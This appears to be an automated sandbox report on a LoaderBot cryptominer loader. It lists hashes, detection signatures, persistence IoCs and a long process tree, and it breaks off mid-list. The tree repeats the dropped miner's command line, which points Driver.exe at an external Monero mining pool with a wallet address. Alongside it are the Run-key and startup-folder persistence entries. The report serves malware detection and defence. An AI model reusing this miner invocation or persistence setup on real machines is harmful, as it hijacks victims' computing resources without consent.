loaderbot | ae5f1fd094029b7e60c1d7998501d17b7585254e1b0644f151b20bd83bf65e7a

Analysis

max time kernel
151s
max time network
154s
platform
windows7_x64
resource
win7-en-20211208
submitted
03-03-2022 08:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3a1b0cf20a31556d2372c4e16026ab0d.exe
Size

4.0MB
MD5

3a1b0cf20a31556d2372c4e16026ab0d
SHA1

2efabc5b1eb697113b90d30c8eb165a2086776ad
SHA256

ae5f1fd094029b7e60c1d7998501d17b7585254e1b0644f151b20bd83bf65e7a
SHA512

43f6c7f093410ce3e0d7297a21b35a6dea1608300044ee172270249f2f1ef543eb0e866308e6a19af670d137b995bab162d7098ad0061c6638fd6898df63d6ab

Score

10^/10

loaderbot loader miner persistence suricata

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral1/memory/612-56-0x0000000001340000-0x000000000173E000-memory.dmp	loaderbot

Executes dropped EXE 64 IoCs

pid	Process
576	Driver.exe
960	Driver.exe
1292	Driver.exe
1488	Driver.exe
1672	Driver.exe
1316	Driver.exe
1764	Driver.exe
1528	Driver.exe
544	Driver.exe
892	Driver.exe
1728	Driver.exe
1288	Driver.exe
688	Driver.exe
1572	Driver.exe
832	Driver.exe
316	Driver.exe
1996	Driver.exe
1768	Driver.exe
1400	Driver.exe
2004	Driver.exe
1992	Driver.exe
528	Driver.exe
1396	Driver.exe
1816	Driver.exe
1928	Driver.exe
1728	Driver.exe
576	Driver.exe
1500	Driver.exe
1780	Driver.exe
1964	Driver.exe
1916	Driver.exe
1608	Driver.exe
2016	Driver.exe
1660	Driver.exe
1148	Driver.exe
1676	Driver.exe
892	Driver.exe
1680	Driver.exe
1320	Driver.exe
1696	Driver.exe
1968	Driver.exe
1092	Driver.exe
484	Driver.exe
1728	Driver.exe
1928	Driver.exe
1604	Driver.exe
1064	Driver.exe
1496	Driver.exe
1116	Driver.exe
1596	Driver.exe
1740	Driver.exe
1088	Driver.exe
1964	Driver.exe
1996	Driver.exe
1628	Driver.exe
808	Driver.exe
280	Driver.exe
1824	Driver.exe
1760	Driver.exe
1916	Driver.exe
1116	Driver.exe
1740	Driver.exe
1744	Driver.exe
832	Driver.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	3a1b0cf20a31556d2372c4e16026ab0d.exe

Loads dropped DLL 2 IoCs

pid	Process
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\3a1b0cf20a31556d2372c4e16026ab0d.exe"	3a1b0cf20a31556d2372c4e16026ab0d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe
612	3a1b0cf20a31556d2372c4e16026ab0d.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
612	3a1b0cf20a31556d2372c4e16026ab0d.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
612	3a1b0cf20a31556d2372c4e16026ab0d.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	612	3a1b0cf20a31556d2372c4e16026ab0d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 612 wrote to memory of 576	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	27
PID 612 wrote to memory of 576	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	27
PID 612 wrote to memory of 576	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	27
PID 612 wrote to memory of 576	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	27
PID 612 wrote to memory of 960	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	30
PID 612 wrote to memory of 960	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	30
PID 612 wrote to memory of 960	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	30
PID 612 wrote to memory of 960	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	30
PID 612 wrote to memory of 1292	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	32
PID 612 wrote to memory of 1292	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	32
PID 612 wrote to memory of 1292	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	32
PID 612 wrote to memory of 1292	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	32
PID 612 wrote to memory of 1488	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	34
PID 612 wrote to memory of 1488	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	34
PID 612 wrote to memory of 1488	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	34
PID 612 wrote to memory of 1488	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	34
PID 612 wrote to memory of 1672	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	36
PID 612 wrote to memory of 1672	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	36
PID 612 wrote to memory of 1672	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	36
PID 612 wrote to memory of 1672	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	36
PID 612 wrote to memory of 1316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	38
PID 612 wrote to memory of 1316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	38
PID 612 wrote to memory of 1316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	38
PID 612 wrote to memory of 1316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	38
PID 612 wrote to memory of 1764	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	40
PID 612 wrote to memory of 1764	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	40
PID 612 wrote to memory of 1764	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	40
PID 612 wrote to memory of 1764	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	40
PID 612 wrote to memory of 1528	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	42
PID 612 wrote to memory of 1528	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	42
PID 612 wrote to memory of 1528	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	42
PID 612 wrote to memory of 1528	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	42
PID 612 wrote to memory of 544	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	44
PID 612 wrote to memory of 544	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	44
PID 612 wrote to memory of 544	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	44
PID 612 wrote to memory of 544	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	44
PID 612 wrote to memory of 892	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	46
PID 612 wrote to memory of 892	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	46
PID 612 wrote to memory of 892	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	46
PID 612 wrote to memory of 892	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	46
PID 612 wrote to memory of 1728	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	48
PID 612 wrote to memory of 1728	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	48
PID 612 wrote to memory of 1728	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	48
PID 612 wrote to memory of 1728	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	48
PID 612 wrote to memory of 1288	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	50
PID 612 wrote to memory of 1288	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	50
PID 612 wrote to memory of 1288	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	50
PID 612 wrote to memory of 1288	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	50
PID 612 wrote to memory of 688	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	52
PID 612 wrote to memory of 688	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	52
PID 612 wrote to memory of 688	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	52
PID 612 wrote to memory of 688	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	52
PID 612 wrote to memory of 1572	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	54
PID 612 wrote to memory of 1572	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	54
PID 612 wrote to memory of 1572	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	54
PID 612 wrote to memory of 1572	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	54
PID 612 wrote to memory of 832	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	56
PID 612 wrote to memory of 832	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	56
PID 612 wrote to memory of 832	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	56
PID 612 wrote to memory of 832	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	56
PID 612 wrote to memory of 316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	58
PID 612 wrote to memory of 316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	58
PID 612 wrote to memory of 316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	58
PID 612 wrote to memory of 316	612	3a1b0cf20a31556d2372c4e16026ab0d.exe	58

C:\Users\Admin\AppData\Local\Temp\3a1b0cf20a31556d2372c4e16026ab0d.exe
"C:\Users\Admin\AppData\Local\Temp\3a1b0cf20a31556d2372c4e16026ab0d.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:612
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:960
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:544
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:688
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:832
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:528
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1396
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
